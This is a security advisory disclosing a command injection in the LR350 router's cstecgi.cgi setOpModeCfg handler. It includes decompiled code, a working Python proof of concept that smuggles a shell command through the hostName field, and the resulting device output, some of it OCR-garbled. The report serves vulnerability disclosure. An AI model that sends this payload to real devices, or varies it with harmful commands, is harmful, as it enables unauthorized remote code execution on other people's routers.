LR350 - command injection - setOpModeCfg

Hi, we found a command injection vulnerability at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

In function **OpModeCfg** of the file **/cgi-bin/cstecgi.cgi**, string **hostName** not checked and passed to doSystem, result in command injection.

```
if ( v3 != 6 )
171
172
           strcpy(v60, "dhcp");
173
           v46 = websGetVar(a1, "hostName", "");
174
           if ( *v46 )
175
176
             nvram set("wan hostname", v46);
177
             doSystem("echo '%s' > /proc/sys/kernel/hostname", v46);
178
179
           v47 = websGetVar(a1, "dhcpMtu", "1500");
          nvram_set("wan_mtu", v47);
181
182
           goto LABEL_49;
183
```

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setOpModeCfg", "proto" : "8",
"switchOpMode" : "1", "hostName" : "';ls -lh ../;'"} response =
requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

Impact

Remote code execution

After execute the poc, the **Is** command is executed

```
drwxrwxr-x
             2 0
                        0
                                    4.0K Oct 1 07:09 advance
drwxrwxr-x
             2 0
                        0
                                    4.0K Oct 1 07:09 basic
            2 0
                                    4.0K Oct 1 07:09 cgi-bin
drwxrwxr-x
                        0
- FWXF-XF-X
            1 0
                        0
                                    955 Oct 1 07:09 error.html
            1 0
                        0
                                    1.1K Oct 1 07:09 favicon.ic
- CMXC-XC-X
            1 0
                        0
                                    143 Oct 1 07:09 home.html
- CMXC-XC-X
- FWXF-XF-X
            1 0
                                     797 Oct 1 07:09 index.html
                        0
            2 0
                        0
                                    4.0K Oct 1 07:09 language
drwxrwxr-x
- FWXF-XF-X
            1 0
                        0
                                    4.7K Oct 1 07:09 login.html
- FW- F-- F--
            1 0
                        0
                                    4.5K Oct 1 07:09 login ie.h
            1 0
                        0
                                   33.8K Oct 1 07:09 opmode.htm
- CMXC - XC - X
drwxrwxr-x
            2 0
                        0
                                   4.0K Oct 1 07:09 phone
drwxrwxr-x
            2 0
                        0
                                    4.0K Oct 1 07:09 plugin
            5 0
                                    4.0K Oct 1 07:09 static
drwxrwxr-x
                        0
            1 0
                        0
                                   1.5K Oct 1 07:09 telnet.htm
- FWXF-XF-X
-rw-r--r-- 1 0
                        0
                                   10.6K Oct 1 07:09 wan_ie.htm
                                   54.7K Oct 1 07:09 wizard.htm
- CMXC - XC - X
            1 0
                        0
        "success":
                       true.
        "error":
                       null,
        "lan ip":
        "wtime":
        "reserv":
                       "reserv"
<Response [200]>
```